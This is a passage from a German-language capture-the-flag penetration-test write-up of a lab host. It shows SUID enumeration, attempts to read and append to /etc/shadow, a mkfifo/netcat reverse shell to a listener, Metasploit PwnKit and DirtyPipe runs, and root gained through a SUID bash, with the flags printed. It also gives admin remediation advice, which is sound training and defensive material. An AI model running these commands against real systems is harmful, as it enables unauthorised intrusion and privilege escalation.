       853     52 -rwsr-xr-x   1 root     root               53040 Nov 29  2022 /snap/core20/1974/usr/bin/chsh
       922     87 -rwsr-xr-x   1 root     root               88464 Nov 29  2022 /snap/core20/1974/usr/bin/gpasswd
      1006     55 -rwsr-xr-x   1 root     root               55528 May 30  2023 /snap/core20/1974/usr/bin/mount
      1015     44 -rwsr-xr-x   1 root     root               44784 Nov 29  2022 /snap/core20/1974/usr/bin/newgrp
      1030     67 -rwsr-xr-x   1 root     root               68208 Nov 29  2022 /snap/core20/1974/usr/bin/passwd
      1140     67 -rwsr-xr-x   1 root     root               67816 May 30  2023 /snap/core20/1974/usr/bin/su
      1141    163 -rwsr-xr-x   1 root     root              166056 Apr  4  2023 /snap/core20/1974/usr/bin/sudo
      1199     39 -rwsr-xr-x   1 root     root               39144 May 30  2023 /snap/core20/1974/usr/bin/umount
      1288     51 -rwsr-xr--   1 root     systemd-resolve    51344 ct 25  2022 /snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
      1660    463 -rwsr-xr-x   1 root     root              473576 Apr  3  2023 /snap/core20/1974/usr/lib/openssh/ssh-keysign
     10243    136 -rwsr-xr-x   1 root     root              138408 May 29  2023 /usr/lib/snapd/snap-confine
      1410     36 -rwsr-xr--   1 root     messagebus         35112 ct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     38991    332 -rwsr-xr-x   1 root     root              338536 Jan  2 16:54 /usr/lib/openssh/ssh-keysign
       875     60 -rwsr-xr-x   1 root     root               59976 Nov 24  2022 /usr/bin/passwd
       897     32 -rwsr-xr-x   1 root     root               30872 Feb 26  2022 /usr/bin/pkexec
       841     40 -rwsr-xr-x   1 root     root               40496 Nov 24  2022 /usr/bin/newgrp
       696     72 -rwsr-xr-x   1 root     root               72072 Nov 24  2022 /usr/bin/gpasswd
      1111     56 -rwsr-xr-x   1 root     root               55672 Feb 21  2022 /usr/bin/su
       572     44 -rwsr-xr-x   1 root     root               44808 Nov 24  2022 /usr/bin/chsh
       566     72 -rwsr-xr-x   1 root     root               72712 Nov 24  2022 /usr/bin/chfn
       829     48 -rwsr-xr-x   1 root     root               47480 Feb 21  2022 /usr/bin/mount
      1187     36 -rwsr-xr-x   1 root     root               35192 Feb 21  2022 /usr/bin/umount
      1112    228 -rwsr-xr-x   1 root     root              232416 Apr  3  2023 /usr/bin/sudo
      517   1364 -rwsr-sr-x   1 root     root             1396520 Jan  6  2022 /usr/bin/bash
       680     36 -rwsr-xr-x   1 root     root               35200 Mar 23  2022 /usr/bin/fusermount3
     13735     20 -rwsr-xr-x   1 root     root               18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
                     
bash-5.1$ getcap -r / 2>/dev/null
 /snap/core20/2105/usr/bin/ping cap_net_raw=ep
 /snap/core20/1974/usr/bin/ping cap_net_raw=ep
 /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
 /usr/bin/mtr-packet cap_net_raw=ep
 /usr/bin/ping cap_net_raw=ep
                     
bash-5.1$ uname -a
 Linux liceoserver 5.15.0-92-generic #102-Ubuntu SMP Wed Jan 10 09:33:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
                     
bash-5.1$ cat /etc/crontab
 # /etc/crontab: system-wide crontab
 # Unlike any other crontab you don't have to run the `crontab'
 # command to install the new version when you edit this file
 # and files in /etc/cron.d. These files also have username fields,
 # that none of the other crontabs do.

 SHELL=/bin/sh
 # You can also override PATH, but by default, newer versions inherit it from the environment
 #PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

 # Example of job definition:
 # .---------------- minute (0 - 59)
 # |  .------------- hour (0 - 23)
 # |  |  .---------- day of month (1 - 31)
 # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
 # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
 # |  |  |  |  |
 # *  *  *  *  * user-name command to be executed
 17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
 25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
 47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
 52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
 #
                     
bash-5.1$ ls -la /etc/shadow
 -rw-r----- 1 root shadow 1045 Feb 10 19:25 /etc/shadow
                     
bash-5.1$ cat /etc/shadow
 cat: /etc/shadow: Permission denied
                     
bash-5.1$ echo "ben" >> /etc/shadow
 bash: /etc/shadow: Permission denied
                     

Privilege Escalation Attempts (Metasploit)

Analyse: Es wird versucht, die bestehende einfache Reverse Shell (`www-data`) zu einer Meterpreter-Session aufzuwerten und anschließend über Metasploit nach lokalen Exploits zu suchen und diese auszuführen. 1. Ein `multi/handler` wird für eine eingehende Shell auf Port 5555 vorbereitet. 2. Auf der Zielmaschine wird ein Named Pipe (`/tmp/f`) erstellt und eine neue Shell gestartet, deren Ein-/Ausgabe über `nc` zum Listener auf Port 5555 geleitet wird. Dies etabliert eine (zweite) einfache Shell-Session in Metasploit (Session 1). 3. Das Modul `multi/manage/shell_to_meterpreter` wird verwendet, um die einfache Shell (Session 1) zu einer Meterpreter-Session (Session 2) aufzuwerten. 4. Es wird versucht, `pwnkit` (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) auf Session 2 anzuwenden. 5. Nach dem Fehlschlag von pwnkit wird `local_exploit_suggester` auf Session 2 ausgeführt. 6. Basierend auf dem Vorschlag wird `dirtypipe` (`exploit/linux/local/cve_2022_0847_dirtypipe`) auf Session 2 versucht.

Bewertung: * Die Aufwertung zu Meterpreter (Session 2) ist erfolgreich. * Der Pwnkit-Exploit (`cve_2021_4034`) schlägt fehl ("not-vulnerable"). Das System ist entweder gepatcht oder die Bedingungen sind nicht erfüllt. * Der `local_exploit_suggester` findet mehrere potenzielle Schwachstellen, darunter `dirtypipe` (CVE-2022-0847) für den Kernel 5.15.0. * Der DirtyPipe-Exploit (`cve_2022_0847`) wird ausgeführt, aber scheitert ebenfalls ("Exploit completed, but no session was created."). Obwohl der Kernel prinzipiell anfällig sein könnte, funktioniert dieser spezifische Exploit oder die Payload nicht. Die Versuche, über bekannte Kernel-Exploits mittels Metasploit Root-Rechte zu erlangen, waren **nicht erfolgreich**.

Empfehlung (Pentester): Da Kernel-Exploits fehlschlagen, konzentriere dich auf Fehlkonfigurationen wie SUID-Binaries (insbesondere die gefundene SUID-Bash). Überprüfe auch andere vom Suggester gemeldete Exploits (`netfilter_priv_esc_ipv4`, `pkexec`, `su_login`).
Empfehlung (Admin): Halten Sie den Kernel und alle Systemkomponenten aktuell, um bekannte Schwachstellen wie Pwnkit oder DirtyPipe zu mitigieren. Überwachen Sie auf verdächtige Prozessausführungen und Exploit-Versuche.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:5555
bash-5.1$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
 [*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.113:36256) at 2024-04-30 14:23:52 +0200

 $ whoami 
 www-data
 $
                     
Background session 1? [y/N] y
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
 [*] Upgrading session ID: 1
 [*] Starting exploit/multi/handler
 [*] Started reverse TCP handler on 192.168.2.199:4433
 [*] Sending stage (1017704 bytes) to 192.168.2.113
 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.113:48246) at 2024-04-30 14:24:53 +0200
 [*] Command stager progress: 100.00% (773/773 bytes)
 [*] Post module execution completed
                     
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5554
lport => 5554
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => eth0
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
 [*] Started reverse TCP handler on 192.168.2.199:5554
 [*] Running automatic check ("set AutoCheck false" to disable)
 [!] Verify cleanup of /tmp/.oesrvzb
 [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target does not appear vulnerable "set ForceExploit true" to override check result.
 [*] Exploit completed, but no session was created.
                     
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
 [*] 192.168.2.113 - Collecting local exploits for x86/linux...
 [*] 192.168.2.113 - 193 exploit checks are being tried...
 [+] 192.168.2.113 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.15.0
 [+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
 [+] 192.168.2.113 - exploit/linux/local/pkexec: The service is running, but could not be validated.
 [+] 192.168.2.113 - exploit/linux/local/su_login: The target appears to be vulnerable.
 [*] Running check method for exploit 62 / 62
 [*] 192.168.2.113 - Valid modules for session 2:


 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.15.0
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 4   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
                     
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2022_0847_dirtypipe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2
session => 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 5554
lport => 5554
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
 [*] Started reverse TCP handler on 192.168.2.199:5554
 [*] Running automatic check ("set AutoCheck false" to disable)
 [+] The target appears to be vulnerable. Linux kernel version found: 5.15.0
 [*] Writing '/tmp/.iufdligymce' (35592 bytes) ...
 [*] Executing exploit '/tmp/.iufdligymce /bin/passwd'
 [*] Exploit completed, but no session was created.
                     

Privilege Escalation (SUID Bash)

Analyse: Nach den fehlgeschlagenen Metasploit-Versuchen wird auf der `www-data`-Shell nach Dateien gesucht, die dem Benutzer `dev` gehören. Anschließend wird `/bin/bash -p` ausgeführt.

Bewertung: Die Suche nach `dev`-Dateien (`find / -user dev`) liefert keine neuen Privesc-Vektoren. Der entscheidende Schritt ist die Ausführung von `/bin/bash -p`. Da `/usr/bin/bash` (und oft auch `/bin/bash` als Symlink darauf) das SUID-Bit gesetzt hat (gefunden im früheren `find`-Befehl), startet dieser Befehl eine Bash-Shell, die ihre effektiven Root-Rechte beibehält (`euid=0(root)`). **Privilege Escalation zu Root war erfolgreich!**

Empfehlung (Pentester): Bestätige die Root-Rechte mit `id`. Wechsle ins `/root`-Verzeichnis und suche nach der Root-Flag.
Empfehlung (Admin): **Entfernen Sie sofort das SUID-Bit von `/usr/bin/bash` (`chmod u-s /usr/bin/bash`)!** Dies ist eine kritische Sicherheitslücke.

bash-5.1$ find / -user dev 2>/dev/null
/srv/ftp/note.txt
/home/dev
/home/dev/.bash_logout
/home/dev/.local
/home/dev/.local/share
/home/dev/.cache
/home/dev/.bashrc
/home/dev/.sudo_as_admin_successful
/home/dev/.lesshst
/home/dev/.ssh
/home/dev/user.txt
/home/dev/.profile
                    
bash-5.1$ /bin/bash -p
bash-5.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
                    
bash-5.1# cd /root/
bash-5.1# ls
 root.txt  snap
                     
bash-5.1# cat root.txt
 BF9A57023EDD8CFAB92B8EA516676B0D
                     

Proof of Concept (Privilege Escalation - SUID Bash)

Analyse: Dieser POC beschreibt die Ausnutzung der SUID-Berechtigung auf der Bash-Binary zur Erlangung von Root-Rechten.

Schwachstelle: Die Bash-Executable (`/usr/bin/bash` oder `/bin/bash`) hat das SUID-Bit gesetzt und gehört `root`.

Voraussetzungen: Eine Shell-Sitzung als nicht-privilegierter Benutzer (hier `www-data`).

Schritte zur Reproduktion:

  1. Führe in der Low-Privilege-Shell den Befehl `/bin/bash -p` aus.
  2. Überprüfe die effektiven Rechte mit dem Befehl `id`.

Erwartetes Ergebnis: Der `id`-Befehl zeigt `euid=0(root)` an, was bestätigt, dass Root-Rechte erlangt wurden.

Empfehlung (Admin): Entfernen Sie **dringend** das SUID-Bit von allen Shell-Executables wie `/bin/bash`, `/bin/sh`, `/usr/bin/zsh` etc. (`chmod u-s /path/to/shell`). SUID auf Shells ist fast immer eine gefährliche Fehlkonfiguration. Überprüfen Sie regelmäßig SUID/SGID-Berechtigungen im System.

Flags

cat /home/dev/user.txt
71ab613fa286844425523780a7ebbab2
cat /root/root.txt
BF9A57023EDD8CFAB92B8EA516676B0D